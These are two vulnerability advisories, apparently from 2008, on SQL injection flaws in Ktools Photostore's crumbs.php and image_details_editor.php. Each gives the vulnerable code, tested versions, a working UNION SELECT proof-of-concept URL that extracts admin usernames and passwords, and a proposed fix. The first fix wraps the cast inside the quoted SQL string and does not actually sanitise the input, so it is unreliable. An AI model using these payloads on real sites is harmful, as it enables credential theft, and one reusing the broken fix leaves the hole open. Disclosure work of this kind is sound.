\#'#/ (-.-) -------------------------oOO---(_)---OOo------------------------- | Ktools Photostore <= v3.5.2 (crumbs.php) Remote SQL Injection | | (works only with magic quotes = off) | | coded by DNX | ----------------------------------------------------------------- [!] Discovered.: DNX [!] Vendor.....: http://www.ktools.net [!] Detected...: 27.04.2008 [!] Reported...: 29.04.2008 [!] Response...: xx.xx.2008 [!] Background.: PhotoStore allows you to setup a complete photo selling website on your server or hosting space in just minutes. [!] Price......: $295 Oo. [!] Bug........: $_GET['gid'] in crumbs.php near line 11 05: if($_GET['gid']){ 08: function crumbs($gid){ 09: global $db, $crumb_array_name, $crumb_array_id; 10: 11: $ca_result = mysql_query("SELECT id,title,nest_under FROM photo_galleries where id = '$gid'", $db); 23: crumbs($_GET['gid']); A direct request on 'crumbs.php' doesn't work, because there is no valid database resource. So we have to look where 'crumbs.php' is included by an other script. In 'about_us.php' for example. [!] Tested on..: v3.4.3, v3.5.2 [!] PoC........: http://127.0.0.1/photostore/about_us.php?gid=0'%20union%20select%201,concat(username,0x2f,password),3%20from%20mgr_users%20/* [!] Solution...: Replace the unsecure codeline with: $ca_result = mysql_query("SELECT id,title,nest_under FROM photo_galleries where id = '(int)$gid'", $db); \#'#/ (-.-) --------------------------------oOO---(_)---OOo-------------------------------- | Ktools Photostore <= v3.5.2 (image_details_editor.php) Remote SQL Injection | | coded by DNX | ------------------------------------------------------------------------------- [!] Discovered.: DNX [!] Vendor.....: http://www.ktools.net [!] Detected...: 26.04.2008 [!] Reported...: 28.04.2008 [!] Response...: 29.04.2008 [!] Background.: PhotoStore allows you to setup a complete photo selling website on your server or hosting space in just minutes. [!] Price......: $295 Oo. [!] Bug........: $_GET['id'] in manager/image_details_editor.php near line 60 $image_result = mysql_query("SELECT * FROM uploaded_images where id =" . $_GET['id'], $db); [!] Tested on..: v2.5, v2.9.8, v3.1.0, v3.1.1, v3.2.0, v3.2.1, v3.4.0, v3.4.2, v3.4.3, v3.5.0, v3.5.1, v3.5.2 [!] PoC........: http://127.0.0.1/photostore/manager/image_details_editor.php?id=-1%20union%20select%201,2,3,4,5,6,7,8,9,username,11,12,13,password,15,16%20FROM%20mgr_users [!] Solution...: Replace the unsecure codeline with: $image_result = mysql_query("SELECT * FROM uploaded_images where id =" . (int)$_GET['id'], $db);